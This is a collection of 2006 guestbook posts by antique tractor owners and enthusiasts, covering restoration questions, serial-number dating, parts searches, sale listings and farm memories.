Bob Welk wrote on Tuesday, October 10, 2006 (PDT):I am an 1947 Oliver Standard 80 ex owner, used it all the time in Nebraska wheat and corn crops until I sold it on farm sale and moved to the city. Loved that tractor, it did everything that had to be done except cultivating the corn.I did not take any pictures of it but would like to purchase one, suitable for framing,any ideas?
Jarrod GAINES wrote on Tuesday, October 10, 2006 (PDT):I am having a Auction for a guy That collected and restored MM'S HE HAS M5,U,ZB,AND JETSTAR ALL IN WORKING CONDITION!! AND LOTS OF PARTS THAT FIT? NEW PARTS AND PIECES GIVE ME A CALL AT 316-772-1897 OR GO TO AUCTION ZIP .COM FOR FULL LISTING TELL YOUR NEIBOR
Ray Van Sickle wrote on Tuesday, October 10, 2006 (PDT):I have a 671 that my father passed on to me. Still in good running condition. The transmission has be rebuilt a couple times. Have to be careful that you get the gear speed selector in the right detent.
Butch Johnson wrote on Monday, October 09, 2006 (PDT):I would like to up the horsepower on an M Farmhall for using in antique tractor pulls
Kaaren wrote on Monday, October 09, 2006 (PDT):I have a front end loader on my tractor. I am interested in selling it now. Have not had any use for it for 5 years.
Tweed Vorhees wrote on Monday, October 09, 2006 (PDT):Just located the serial number on engine. 620655 If the chart in research area means that all numbers that begin with 620 means it is 1948, then i guess my mystery is solved. Anyway it also has the dual-range 6 forward, w reverse tranny. Also found the engine crank today in his shed.
Eathan wrote on Monday, October 09, 2006 (PDT):Wanted on West Coast (OR, WA or N. CA) - Oliver Dozer in fixable to working condition - email with info, pics if you got 'em, asking price and location. Thanks!
Tweed Vorhees wrote on Monday, October 09, 2006 (PDT):The sale for Uncle Cy's row crop 60 is thur 10/19/06 in stone creek, oh. I never did locate a tag with any id number so we still dont know exactly what year it is, but it will sell with a cultivator attached and it has been all repainted and re-stickered, etc. Anyone with any help can email me at vorhaus at verizon.net -- still looking for an approx value. Someone please help!!
Caleb Wilson wrote on Sunday, October 08, 2006 (PDT):I have a 1955 Farmall Cub that runs, has a new clutch, new front tires, a reworked front-end, and the original belly mount mower. I would like to sell it and would take serious offers. Please e-mail me!!! crw at shoffneragresearch.com
Anne Coish wrote on Saturday, October 07, 2006 (PDT):I am wondering what year our tractor is? Serial number is TE 88205
kevin rinkes wrote on Saturday, October 07, 2006 (PDT):i have a 1952 to30--with nothing attatched 3 point raises--but will not lift brush hog--any thoughts firstumc at 1st.net
Lisa Kerner wrote on Thursday, October 05, 2006 (PDT):My father is looking for the paint numbers and where to purchase paint for a 1947 cocksutt that he is restoring. As a young man he owned this tractor and then sold it and had the oppertunity to repurchase it again a few years ago.
dallas gronefeld wrote on Thursday, October 05, 2006 (PDT):need help ;did ac have a front weigth bracket for the flat weigths like the d17 se.1v had?
Ed Winkle wrote on Thursday, October 05, 2006 (PDT):I have a copy of a picture of my dad and grandpa on what looks to be one of these, taken about 1920. I am interested in learning more about this tractor.
Shauna Yeagle wrote on Thursday, October 05, 2006 (PDT):If you need any information please let me know. I'm the editor of the Sheppard Newsletter and I can get you incontact with the right person Thanks Shauna
Tim Walker wrote on Wednesday, October 04, 2006 (PDT):I have a question with regards to serial numbers. I have a Case C with the serial number C395929 and I am wondering what year that would be. If you could answer this question it would be much appreciated. Feel free to e-mail me any time with help. Thanks Tim
Dennis Bourns wrote on Wednesday, October 04, 2006 (PDT):Hi Guys I just purchased a Pony, for restoration, it isn't running, I need parts and good pictures, can you point me to the best source of parts please? Thanks Dennis
ken jackson wrote on Wednesday, October 04, 2006 (PDT):help help 560 gas carb frost up and the thing dies(p[lease help me I need this thing to run )
David Holbrooks wrote on Wednesday, October 04, 2006 (PDT):I have a 1949 Massey Harris Pony tractor for sale. It is listed on e-bay. Enter in your search Massey Harris (ferguson)Pony Farm tractor 1949 and it should come up. My email address is lvholbrks at yahoo.com
Fridtjof Bergmann wrote on Wednesday, October 04, 2006 (PDT):I am looking to buy a Massey Harris Pony tractor location does not matter pls send me an email with photos and detailed info on condition
jerry parks wrote on Tuesday, October 03, 2006 (PDT):I just got my farmall cub. Ive wanted one since I was a kid. ser.# 168598 is that a 1953? Runs perfect, cranks by hand effortlessly. I need a radiator cap have original without its center piece and spring any ideas. Thanks Jerry Thomasville N.C.
Luke wrote on Tuesday, October 03, 2006 (PDT):I have a 1962 model GIV moline,My dad bought the tractor in 1978 from a auction out in western Okla. We used it for our main tillage tractor till 1984, when we replaced it with a larger tractor. Machine still runs good and looks pretty good for original paint and all,tach shows around 3,000 hours. With a little atention it could be a full timer again. I learned how to drive that tractor when I was nine years old, I'm now thirtyseven. Prairie Gold Forever!
Jim Strezos wrote on Tuesday, October 03, 2006 (PDT):I have a cockshutt 40 for sale. The tractor tin is in mint shape,it does run but needs to be restored.2500.00 O.B. Beaverton, Ontario. 1705-426-4343. Call after 6;00 PM
Jim Strezos wrote on Tuesday, October 03, 2006 (PDT):I have a cockshutt 40 for sale. The tractor tin is in mint shape,it does run but needs to be restored.2500.00 O.B. Beaverton, Ontario. 1705-426-4343. Call after 6;00 PM
chard wrote on Monday, October 02, 2006 (PDT):I HAVE ONE ITS IS A 1935. NOT VERY MANY AROUND HERE IN SW MICHIAN
Royce Stewart wrote on Monday, October 02, 2006 (PDT): I have always like the Allis Chalmers tractors and other equipment. I would like to find a 1936-42 Model A to restore , a long range project.
andrew navis wrote on Monday, October 02, 2006 (PDT):I just bought a 1941 case VC wide front end I'm trying to find trans parts like a clutch and breaks thank's Andrew Navis
Horsey wrote on Monday, October 02, 2006 (PDT):HEy ya'll i have a MT myself and i think its an awesome tractor! does anyone know what a 1952 mt would be worth in running condition? not restored though it also has a JD 40 loader on it that works... whats that worth?
Mike Lowe wrote on Sunday, October 01, 2006 (PDT):saw a 69 G 900 at an auction yesterday they wanted $5500 good looking tractor showed 3842 hours on the meter , sounded good [diesel] it didnt sell
Henry Nelms wrote on Sunday, October 01, 2006 (PDT):I have a b model the serial number is B43175 can anyone tell me the year it was built
Henry Nelms wrote on Sunday, October 01, 2006 (PDT):I have a b model the serial number is B43175 can any one please tell me the year model
Henry Nelms wrote on Sunday, October 01, 2006 (PDT):I have a b model the serial number is B43175 can any one please tell me the year model
jason wrote on Saturday, September 30, 2006 (PDT):1964 Supa Dexta When lifting the three point linkage main control arm (with implement on) have found it to be very stiff (as if it is under pressure). Once the control arm is at a certain height the three point linkage drops to the ground. Any suggestions on what the problem might be as all seals seem to be fine.
Henry Nelms wrote on Saturday, September 30, 2006 (PDT):Ihave a b model could any one tell me where the serial number is located on the b
Hal Lougheed wrote on Friday, September 29, 2006 (PDT):I have owned a Oliver 550 tractor bought new in 1959,still running in excellent condition,this has been the best small tractor that i have farmed with for years,am now retired but still use this tractor on my acreage all year around,i also tractor pull with it in the antique class 1 and it is very competitive for a small tractor.lots of power and good gear ratio for this. Edmonton,Alberta.Would be interested in purchasing a good used 1959 or 1960 model.
Jeanie Dunkley wrote on Friday, September 29, 2006 (PDT):Does anyone in Australia know where I can buy engine parts for a massey harris 55k I have one and its motor is in sad condition thanks Jeanie dunkley
angie cupp wrote on Thursday, September 28, 2006 (PDT):My husband has a 720 John Deere he is in the process of restoring and he would like a diagram or picture to show where the exact placement of the decals should go. Thanks a lot.
TOMMY wrote on Thursday, September 28, 2006 (PDT):I RECENTLY PURCHASED AN OLIVER 60. THOUGHT TO BE AN INDUSTRIAL. I AM IN NEED OF SIDE PANELS ,SEAT AND MISC. THE 60 WAS SAID TO HAVE BEEN USED BY THE STATE OF ARK. TO MOW THE HI-WAYS.IT IS FAIRLY ROUGH BUT YOU SURE CAN SEE THE EFFORT WOULD BE WORTH IT. ANY THOUGHTS ON PARTS NEEDED PLEASE E-MAIL.
Josh Snow wrote on Wednesday, September 27, 2006 (PDT):I have noticed that everyone puts the john deeres down which is good. but do you think that an allis with the same hp could hold its own against an IH?
Josh Snow wrote on Wednesday, September 27, 2006 (PDT):My father and i own and run a dairy farm in sothern indiana and we are looking for a bigger tractor to do our heavy work with. we have a 180 that has been turned up to put out more horse at about 110hp but we are expanding our farm and the 180 is getting a lot of hours on it. So does anyone have a tractor ranging from a 190 to a 220 for sale or know of one that is?
paul wrote on Tuesday, September 26, 2006 (PDT):I have MH 44 would like to go modified stock pulling with it , how big can I go? stroke/bore,cam HP., ect.
Tweed Vorhees wrote on Monday, September 25, 2006 (PDT):My wife's uncle owns a row crop 60 that he bought new. It has been in use on his farm until this summer when he had to go to a nrusing home ( he is 86 now). The tractor runs and works just fine. I need to know how to identify exactly what year it is -- obviously it is 1940 - something. It there an ID tag somewhere? tell me where so i can find it. We want to sell the tractor now that unlce Cy will never go back to the farm. We are going to have farm sale and sell all of his possessions next month. We need to get an approximate value for the tractor, too. It would be an ideal restoration project as all sheetmetal and tin is intact just as it was purchased some 55 years ago. Please email me if you can give me any info or if you know someone who would be interested in buying it for restoration. It is located in central OHIO. Thanks - Had it running last saturday -- hit the starter - and it popped right off - sits there and runs like a top!!
Randy wrote on Friday, September 22, 2006 (PDT):A 1943 SC Case was my dad's favorite tractor. The suspension seat and increased power was a huge jump from his first tracror, a 1936 Farmall F12. Dad said he never got tired working the Case in the field, and he loved the hand clutch. We still have his tractor here on the farm and until recently was a working tractor. Evidently a Case 4JMA magneto is not a common unit and ignition points are not available. I have explored the internet for replacement parts to no avail - any of you Case experts got a line on any 4JMA ignition points?
dave wrote on Friday, September 22, 2006 (PDT):My dad just purchased a 50 cockshutt. We are going to put it to work, but we can't get engine to fire up now. It did at first with a cylinder miss so we changed the rotor and cap and coil to 12V. Now it won't start at all. Can anyone lend some advice? you can email me
Chris Wagstaff wrote on Friday, September 22, 2006 (PDT):i have had a major for several years but it suddenly started making a loud nocking noise. i discouvered that it came from the air intake/cleaner could any one help me by telling me what is making this noise and how i can sort it. thanks chris
D. VATH wrote on Thursday, September 21, 2006 (PDT):there are two reservoirs Transmission and Rear End. I usually fill til it comes out the side flow plug. The rear end... it depends if you are using a loader... the hydraulics oil comes from the rear end. If you are interested I can send you scan of manual page... doug
lee thomas wrote on Wednesday, September 20, 2006 (PDT):randy is your manifold beyond repair?
patrick jenin wrote on Tuesday, September 19, 2006 (PDT):i have a 40 cockshutt that was running fine but now only runs for a short time and then dies. If i keep the choke open it will run for a while but then stops. I then changed the needle and seat and cleaned the carb, but it still does the samething would anyone know what the problem might be.
Lester D. Bausch wrote on Saturday, September 16, 2006 (PDT): I have no idea as to when We aquired our "Regular" but it was the first tractor my Dad had on our farm. I beleive he bought it on steel and converted it to rubber. I remember he was comming back to the house going through some native grass land and hit a tree stump and knocked the front end out from under it. We bought an old junked "Regular" and used the front end. Eventually we only used it to cultivate corn, sometime having to pull it to get it started. We finaly had to quit using it in about 1962.
A Cranney wrote on Friday, September 15, 2006 (PDT):I am in the process of restoring a 1952 JD MT similar to the one in the photo. I was able to get it running right away. The brakes or lack there of are my first challenge. I'm having to fabricate the lever brackets myself because they are not available. My next challenge is locating the nose and hood sheet metal. Any leads on those items from anyone.
jeff reed wrote on Wednesday, September 13, 2006 (PDT):im looking for a fair d-21 please e mail photo and prices thanks
Buddy Medlock wrote on Wednesday, September 13, 2006 (PDT):I found two Avery v tractors. One is less engine, the other is less manifold.These two tractors have cast iron radiator shells, with mesh grills. Every picture I have saw has a stamped steel grill. Can any on give me any input on these tractors. contact me at medlockracing at ipro.net THANKS
C. Robinson wrote on Tuesday, September 12, 2006 (PDT):does anyone know of a super 55 oliver diesel for sale? Am interested in purchasing one.
Mark Thompson wrote on Tuesday, September 12, 2006 (PDT):Hi I just found a old model 99. the style with cast radiaor sides and OLIVER cast on the front. It has been setting outside for a very long time as all the rubber is very dry rotted. what should i offer for it.
Dan wrote on Tuesday, September 12, 2006 (PDT):I currently have a working WD. Looking for a D15 II to replace the WD (so I can restore). Are the two tractors similar in physical size. Have not had much luck finding specs for the D15 II. i.e. weight, height, wheel base, width etc.
Robbie wrote on Monday, September 11, 2006 (PDT):Just finished reading all of your wonderful stories about your 55's.I have my Grandpa's gas 55 and plan to restore it a little here and there during the summer months after using it almost 2 or 3 times weekly.It runs excellent but needs to be converted to a 12 volt system,if anyone has any suggestions i would appreciate any advice. I am in desperate need of a backhoe that would fit this oliver or at least something closely adaptable.I am trying to repair my grandfathers old farm with old well and septic along with barns in need of lots of repairs.I am partially disabled and live on a small budget,but love my 55 and the farm and believe this is my motivation to keep going.If anyone knows of any backhoe attatchment and a pto kit,(my 55 never had a pto installed and would like to find one so i could then hook up a 3 point mower to cut the larger part of the property)Please e-mail me at robbietpa at yahoo.com.Thank you for this website and lets keep these old tractors alive.Goog Luck to all of you and your 55's and restorations.Robbie ;)
B Arden wrote on Saturday, September 09, 2006 (PDT):Does anybody know a source for parts for Super 55. Western NC, upper SC, eastern Tenn., North Georgia?
BA in NC wrote on Saturday, September 09, 2006 (PDT):Saw two Super 99 Diesel and two 990 diesel today at a tractor pull. What a wonderful sound that GM diesel has. Sorta like a bus dragging a loaded dump truck.
DARREN wrote on Friday, September 08, 2006 (PDT):MY GRANDPA FARMED WITH WHAT I THINK IS A 1957 44 OR A SUPER 44. IT WAS GIVEN TO MY DAD THEN HE BOUGHT 2 MORE FOR PARTS AND WAS GIVENANOTHER. WE HAVE 2 RUNNING NOT RESTORED. BUTWOULD LIKE TO KNOW MORE ABOUT THE TRACTORS ?I LOVE DRIVEING THE 2 WE HAVE.WE STILL MAKE A SMALL GARDEN AN DISC FOOD PLOTS WITH BOTH TRACTORS
Jarad wrote on Thursday, September 07, 2006 (PDT):I just recieved a Styled John Deere Model 'B' and not sure what year this tractor is,as my grandad passed away in 1979 nobody knows anything about this tractor. I am in the process of restoring it. It is almost unbelieveable, this tractor has set outside for the last 30 years atleast and not run in the past 20 years and the motor is not stuck. needs paint new tires decals both axle shafts,as the previous owner cut them off to fit into his barn.anybody with any information or restoration tips please feel free to contact me. Thanks alot
Dennis Begyn wrote on Monday, September 04, 2006 (PDT):any info on a hieder/rock island. My tractor has both names stamped on it at the same time. 309-235-7223
Val Satala wrote on Sunday, September 03, 2006 (PDT): What is the capacity of oil for the gear box on a Ford Super Dexta approximate age 1962? Please hurry with information Thank you
Mike Strommen wrote on Saturday, September 02, 2006 (PDT):I have a D21 for sale in western ND. Fair shape. No 3 pt or cab. Everything works.
larry livsey wrote on Friday, September 01, 2006 (PDT):i would like a manual on the super dextra 2000 please e-mail me at whit1618 at bellsouth.net
larry livsey wrote on Friday, September 01, 2006 (PDT):i would like a manual on the super dexter 2000
CHARLES KLEIN wrote on Thursday, August 31, 2006 (PDT):lOOKING FOR A POWER STEERING MOTOR FOR AN OLIVER 550
Sherm wrote on Wednesday, August 30, 2006 (PDT):I am looking for drive sprockets for a MC crawler. Part #TE235YT. Any suggestions? Thanks
Tom wrote on Monday, August 28, 2006 (PDT):David Furhop, I have tried to reply to your e-mail regarding the Super 44. My e-mails will not go through to you. I have no idea about values. I also have an Oliver OC3 to work on. Can't seem to get my heart into it. I'll have the super running asap. I took the head off. The cylinder walls are smoothe and without rust. There is some build up on one or two valves. It appears the head gasket might have leaked. Any idea on the best place to get a new head gasket
Clark Will-Lincoln,NE wrote on Monday, August 28, 2006 (PDT):Way back in 1965 I drove a 'Minny' GVI diesel for a construction company one summer. I put quite a few hours on it while pulling an industrial (construction) Rome disc. I still have many fond memories of its' pulling power and ability to walk over very uneven torn up ground on the construction site(rear wheel powered only). I also attended the U of Nebr from 1959-1965 and could watch all the current tractors being tested there. If memory serves me corectly they got the power for the powered front end models from the belly mounted pto..
Oliver Carlee wrote on Monday, August 28, 2006 (PDT):Does anyone know where I can locate 3 point hitch parts. Someone removed them from my D12 years ago to pull a hammer knife mower. When I bought the tractor the parts were not to be found.
Gary wrote on Saturday, August 26, 2006 (PDT):I have a 1958 Super 44 my Dad bought that year.It was the first tractor I drove. I was about seven or eight at the time. The tractor is in good shape. I now cleaning the carb., getting ready to start it. It is a jewell;)
BOB wrote on Monday, August 21, 2006 (PDT):Just finished restoring a 1957 IH 330 utility and still need a Hyd pump Oem# 368633-R91 or 3698894-R92, also removed a Wagner backhoe and now looking for a complete PTO assy and 3 point hitch assy. Anyone know where I can locate these parts? Pls. E-Mail. Thanks
randy taulbee wrote on Thursday, August 17, 2006 (PDT):hi just bought a complete leader tractor & need a manifold can anyone help?
Dennis Lausen wrote on Wednesday, August 16, 2006 (PDT):I have located a Case 600 which doesn't have a serial tag.It is missing the starter but otherwise is intact.Can anyone enlighten me about this tractor as to parts availability , cubic inch displacement ect. It is a diesel.
JACK FAULKNER wrote on Wednesday, August 16, 2006 (PDT):SORRY ABOUT THE SERIAL#400942 NOT 900942. JACK
JACK FAULKNER wrote on Wednesday, August 16, 2006 (PDT):I HAVE A 1930 GPWT SERIAL 900942 NEED ENGINE PARTS. WOULD GP STANDARD PARTS FIT AND IF SO WHAT YEAR MODELS. STAY IN ARKANSAS SO IF CLOSE HELP ME. faulkbs at iocc.com
BO wrote on Tuesday, August 15, 2006 (PDT):HI THERE IM LOOKING FOR A F 14 BLOCK OR ENGINR WITH OUT ANY WELDS OR CRACKS OR BREAKS I HAVE MY FATHER INLAWS F 14 HE PASSED AWAY 2 YEARS AGO AND I WANT TO FIX IT AND KEEP IN THE FAMILY IF ANYONE HAS ONE GIVE ME A CALL 330 212 5616 THANKS MUCH BO
cwjohndeere wrote on Monday, August 14, 2006 (PDT):Hey ben giroud I have an orig. manual for the 720 and in the trouble shooting section it says if there is fuel getting into the oil that there are 3 probable causes; 1;Leak at injection pump bracket to cylinder block gasket 2;Leak from loose or cracked fuel line from pumps to nozzles 3;Leak from transfer pump I hope this helps
B Shaffer wrote on Monday, August 14, 2006 (PDT):How much for the D-21?
John Heise wrote on Saturday, August 12, 2006 (PDT):I have a 54 Major diesel that my dad bought new. I recently rebuilt the engine and it was running great. The number 1 injector line came apart with the ferrell seperating from the injector tubing. Do you know where I can get a used line or a new line custom made? I am in the process of renovation and have stopped since it can not be ran until I fix the fuel system. I have loved this tractor since I first operated it alone at the age of seven on the family farm.
Bill Gardner wrote on Monday, August 07, 2006 (PDT):I have a 1963 Fordson Super Major I bought a few years ago, I am having a terible time finding a reliable parts supplier,it is a great tractor, have cut a lot of hay with it, just wish it had power steering. A camshaft gear broke recently and the local Ford/New Holland dealers are no help at all for parts. Any information greatly appreciated. Im in East cost of North America but any reliable source is beter than none. Thanks
SCOTT DAVIS wrote on Monday, August 07, 2006 (PDT):I have the identicle Fordson as shown. Bought her for $1.00, not running, from the owner of an Avocado grove I bought in s. fl in 1995. She has been my primary tractor for the past 11 years. I have just retired her as she is in need of repair/restoration. Any info regarding shop manuals, restoration advice ect...would be appreciated.
Darrell Borgmann wrote on Sunday, August 06, 2006 (PDT):I'm looking for rear rims for my 550 industrial tractor. Tire size 14.9x24 Can anyone help?
Darrell Borgmann wrote on Sunday, August 06, 2006 (PDT):I'm looking for rear rims for my 550 industrial tractor. Tire size 14.9x24 Can anyone help?
guadalupe prieto wrote on Saturday, August 05, 2006 (PDT):Necesito informacion sobre el Massey Ferguson 135. Gracias
Tim White wrote on Wednesday, August 02, 2006 (PDT):I have an MM UB and I'm looking for a wiring diagram. It is a 12v model.
Alan White wrote on Tuesday, August 01, 2006 (PDT):I grew up on an F-14 that my dad bought in the 40's. It was built in 1938. After it sat idle for thirty or so years, I have been able to obtain it from the owner of our former farm. I am now restoring it. It is mostly complete. I am looking for a good used set of 9.5 x 40 or 10 x 40 rear tires. They are hard to find. Anyone who has a set of these will make me very happy. I am located in Southern Idaho, just north of the Utah border.
matt brahmer wrote on Tuesday, August 01, 2006 (PDT):I have a IH W4 and need draw bars and light brackets, any ideas where I can get these parts. Thank You
lee gasser wrote on Sunday, July 30, 2006 (PDT):any one would like a painting of a cockshutt e-mail me I will e-mail back a picture
Paul Tribbey wrote on Saturday, July 29, 2006 (PDT):For Sale; Great running 60's International harvester T-4 Crawler with blade. Asking 5K. Located in Superior, WI. Email for details; ptribbeyREMOVE at hotmail.com (remove the REMOVE for antispam)
antonio casanova wrote on Friday, July 28, 2006 (PDT):We have a 1957 super 55 gas at our ranch.That we purchased about four years ago.Was not maintained well,but put alot of work in to it to keep her in shape.It runs great and is a work horse,it is a great tractor all around.My suggestian to you first time buyers of a super 55.Purchase a repair,operators manual and parts book first.Befor you do anything and replace all your fluids and filters.Yes sometimes parts are hard to find but are still available.Good luck
eugene john wrote on Friday, July 28, 2006 (PDT):forgot to put my telephone number down for the 420c tractor for sale 724 847 3332 best offer
eugene john wrote on Friday, July 28, 2006 (PDT):i have a 420c for sale with high lift attachment best offer
Cory wrote on Thursday, July 27, 2006 (PDT):Nice 1066. I have a case 970 gas. I'm having a hard time finding exhaust valves. Does anyone know where I could find them? sct at tc3net.com
Dave J wrote on Sunday, July 23, 2006 (PDT): I recently competed in an antique tractor pull, in Cecel Co. Md. Contest was called "The Detroit Shootout" only Oliver models Super 99's 990's & Massey 98's could compete. I placed 4th with my 990, but the Gal. from Penn. came in first place with her Massey 98.Thats pretty good,going against 14 other Detroits.
Jim Maust wrote on Saturday, July 22, 2006 (PDT):I'am restoring a 1947 w4 and i need a set of rear fenders, I am located in WVa
Marcus Becker wrote on Saturday, July 22, 2006 (PDT):I have a case 500 diesel that I am rebuilding. I am searching for a set of heads or a parts tractor. I am located in washington state. Any help would be greaty appreciated.
jim allen wrote on Saturday, July 22, 2006 (PDT):I know where i can get two dextra fords one runs one could run. are they worth getting for around $300.00?
jim allen wrote on Saturday, July 22, 2006 (PDT):I know where i can get to dextra fords one runs one could run. are they worth getting for around $300.00?
Lenard L. wrote on Saturday, July 22, 2006 (PDT):I sure need a belly pan or "chin guard" for an L or LA if any one has one please let me know thanks Lenard
Roger Ehrlich wrote on Saturday, July 22, 2006 (PDT):Oh, what memories the pictures and stories bring back! I was a young boy on an Oregon farm when by dad bought a Coop E4 about 1951, 1952(?). It was unique for its time, bought to replace a steel-wheeled Case Model L. We used it to pull 3-16" MM plow, harrows, rollers, disks, etc. Also, the live PTO was the first available, along with two creeper gears. We used the Coop to drive a Gehl field chopper, putting up silage. To be sure, it had its problems. To name a few; Repeated broken front spindles (at the L), unreliable hydraulic couplers for remote cylinder, transmission issues with a the shifter fork. But, the 6 cyclinder Buda engine (very new to the industry, competing with 4 cylinder Case, 2 cylinder John Deere R tractors -- "engine runs too fast, too many cylinders, ..."), was very strong, very reliable. It would purrrrr like a kitten in the field under load, able to be heard for long distances across open fields. We made some modifications, such as a step platform in the rear to aid in getting on/off, and splitting the rear wheel rims, adding 2", for better traction (used 13X38 tires, I think). The marketing and support for these tractors was terrible. The dealership was a local coop, with little shop experience, parts, or support. Very few were sold in the area, and the line died out in a few years.
Loyd Orne wrote on Friday, July 21, 2006 (PDT):I just bought a Leader and I'm starting from scratch. I want to contact Henry Hahn as seems to be very knowledgeable re;Leader tractors.Whst is his e-mail? Please contact me-I really need help on this one.Thaks, Loyd
jon reinhardt wrote on Thursday, July 20, 2006 (PDT):I have a friend who has a fully restored co-op. He says that it was built between 1938-1941 and was called a prewar universal co-op. He would like to know more a bout it.He said the serial number stamped is exactly "D-161-3" anyone have any information for me to give him? he does not know how to use a computer. Thanks
Joyce wrote on Wednesday, July 19, 2006 (PDT):My dad has a restored 1948 Leader Tractor for sale. It is in Ceresco, Michigan. He just finished it the first part of July 2006. Would like $4000. If you are interested please email and I'll email you pictures.
GLEN ROBINSON wrote on Wednesday, July 19, 2006 (PDT):i have a 1976 dexter that needs a starter, and i can't seem to find one. help
Dewayne wrote on Wednesday, July 19, 2006 (PDT):I have a leader tractor in excelent condition, runs very well, hercules engine, not sure what year or model, can anyone tell me how many models were built and how to know what model i have, someone said they had one with a belt pulley, where is the pulley mounted? mine has three point and pto. also an international c-3 belly mower, works well. the engine is an IXB
lester tienter wrote on Monday, July 17, 2006 (PDT):I used one as I grew up on the farm? it still run's great but it is a handy tractor even in the garden with its 3 point ability's.
Hogmuffin 81 wrote on Thursday, July 13, 2006 (PDT):the first tractor i ever drove was cockshutt 50. My grandpas. sure was a good tractor wish we never would have sold it.
Peter Enns wrote on Wednesday, July 12, 2006 (PDT):I work at a tractor salvage yard, and we have an old Massey Harris 44 sitting here. My uncle is interested in buying it off of us and restoring it, because he is an antique tractor enthusiast, he enjoys restoring them. We have all the stuff required to rebuild the engine on it, but i think it is missing the front grille of the tractor. is it particularly difficult to locate those things, and are they expensive to buy?
R. Edwards wrote on Wednesday, July 12, 2006 (PDT):I have a nice 1916 Model R Waterloo Boy tractor for sale. It is located in California.
Bill Chalmers wrote on Tuesday, July 11, 2006 (PDT):That is a very cool 220. I wish are 210 looked that good.
Jim wrote on Tuesday, July 11, 2006 (PDT):I have 1955 TO 35 I inherited. needs paint badly. has been bush painted gray. I know sheet metal should be grey and rest dark green, but would like to find picture of correct paint scheme. Any idea of location for one. have not had much luck looking on the net.
Bill Fitzgerald wrote on Tuesday, July 11, 2006 (PDT):I am looking for a 550 58-59 or 63-64. WE had two and sold them back in the 70's. They left our farm painted yellow but were not industrial models. Maybe they are still somewhere in New England?
Kulley Johnson wrote on Tuesday, July 11, 2006 (PDT):I need to know how to hook external hydraulic lines for a Double action cylinder on a super 55. I have got one line on tractor dont know how to add extra lines.I need to know how to do this so i can run my hay roller.
me wrote on Monday, July 10, 2006 (PDT):hey why did IH go out fo business o wait i think i know it because their pieces of shit
Karen Park wrote on Monday, July 10, 2006 (PDT):I am looking for a Power Takeoff Belt Pulley for a Farmall C tractor, sorry don't know the year but can find out if needed. Any help with finding parts for this tractor would be appriciated. We have just bought a mower for this and would like to get the parts as soon as possible. Preferable in Canada.
Old Thunder wrote on Sunday, July 09, 2006 (PDT):I'm looking for info on a little known 'Oliver', its a 880b or 880c, it sports twin side by side engines and cowlings, its specifically used as an Industrial machine. It was built in the 1959 to 1962 era only..?
BRIAN KOEMAN wrote on Sunday, July 09, 2006 (PDT):I AM LOOKING FOR 50 OR 40 DIESEL NICE OR RESTORED CALL 616-437-9277
BRIAN KOEMAN wrote on Sunday, July 09, 2006 (PDT):I'M LOOKING FOR 880 DIESEL RESTORED OR NOT CALL 616-437-9277
gary carvis wrote on Sunday, July 09, 2006 (PDT):just bought a jd 2010 w/backhoe and loader. former cty vehicle in plant city fl. where is he serial number located? want to freshen the oils and filters but need the id plate...thanks
roy wimer wrote on Sunday, July 09, 2006 (PDT):I was disking with the tractor, when suddenly it stop pulling as tho it was knock out of gear. The engine kept running. I tried to unhook the disk from tractor but the power lift would not work and pto does not work when engage
James Duncan wrote on Friday, July 07, 2006 (PDT):I have a John Deere Model A tractor and my brother left water in the block and it cracked last winter. How do I fix this block- can I weld it? and what should I weld it with?
Paul Olson wrote on Friday, July 07, 2006 (PDT):I live in MN. I am interested in purchasing a TO-35 with a loader at a reasonable price. What is important to me is that it is mechanically sound. I can putz with the metal and paint myself. Anyone out there have one like this for sale?
jon barton wrote on Thursday, July 06, 2006 (PDT):i'm looking for an oliver 660 preferrably a diesel and a wide front with a belt pulley. any 660 would be a good start tho. thanks, jon b. 480-694-7649 phx, az
LARRY DRENNEN wrote on Thursday, July 06, 2006 (PDT):OLIVER 550 (55-7179) SER 143 994-083 WITH A 588 HD LOADER FOR SALE. NEEDS MOTOR AND WORK. MUST HAUL. RAN TILL YESTERDAY. GOOD FOR PARTS OR RESTORATION. CIRCULATE TO OTHERS INTERESTED. THANKS.
donna wrote on Wednesday, July 05, 2006 (PDT):hi my friend is looking for used hydraulic hay rake please email me with rake in subject line if you have one for sale and information thanks
b ramgoolam wrote on Tuesday, July 04, 2006 (PDT):have an old tractor. do not know make nor model. ho can the numbers on engine block and tractor body help to identify. thanks. bishnu.
dave birdsey wrote on Sunday, July 02, 2006 (PDT):I have a 1948 Super A in excellent condition. I am looking for a A-21 sickle mower for it, " must be in good condition".Any help in locating one would be ppreciated.
Chris Schuermann wrote on Sunday, July 02, 2006 (PDT):I have a KTA that I have decided to sell. Runs very nicely and sounds solid. Needs a good cosmetic restoration. Currently on rubber tires. Located in Tulsa, OK. Please contact me if you're interested. chris
Dennis l. Koch wrote on Saturday, July 01, 2006 (PDT):Ihave a Super C that has a hydrolic operated Blade that can be possitioned under the tractor or in front of the tractor. I would like to know if it was an attachment offer by Farmall or aftermarket.
Johnny Arant wrote on Friday, June 30, 2006 (PDT):I have a Dexta 2000 built in England with the 3 cyl. Perkins. The steering gearbox is completely worn out. I rebuilt the front end, but I cannot find parts for this steering section. I need the complete housing and the steering gear main nut which screws down on the steering worm shaft. I don't do much farming but use it for bushogging and pulling stumps and small garden. And I saw where someone said theirs leaks oil behind the motor was it norm for the Dexta. Well mind does also.
Rudy Carlson wrote on Tuesday, June 27, 2006 (PDT):I have a 49 JD Model B that I bought/received for graduation which needs a complete restoration. Im learning as this is my first tractor and would like to restore it to near original condition. The tractor runs great except for one problemone wheel needs to be replaced. I am looking for a pressed steel wheel with rim. I have a 9-hole wheel that is 10-inches wide for a 10-38 tire. It has the hand holds in it which Id prefer, but Id also take the solid style AND if I can find a wheel, tube and tire as a unit in good condition, so much the better. Im located in Wisconsin and am willing to travel some to pick it up. If you have what Im looking for or know of somebody who does, please email me with information. Thanks.
jim lederbrand wrote on Sunday, June 25, 2006 (PDT):I am looking for a D-21 series 2, restored or unrestored. If you know of one please call me at 217-306-0880. I am located in ill. Thankyou for reading this, Jim lederbrand.
Woody wrote on Sunday, June 25, 2006 (PDT):I have a OC6? the tag says oo6-42-g the serial # is 3502842. What I don,t understand is it is a 6 cyl diesel. The Crawler is painted yellow and has a dozer blade , no PTO , the hydraulic has a 2 valve control but only one is being used for the blade . Ifanyone has info or is interested in buying it my phone # is (209)545-1417 Thanks Woody
arnold bacon wrote on Saturday, June 24, 2006 (PDT):i just pick ed up one of these and i would like some imformation about it.. possibly a parts manual thank you arnold E-Mail.. baconcounty1 at yahoo.com
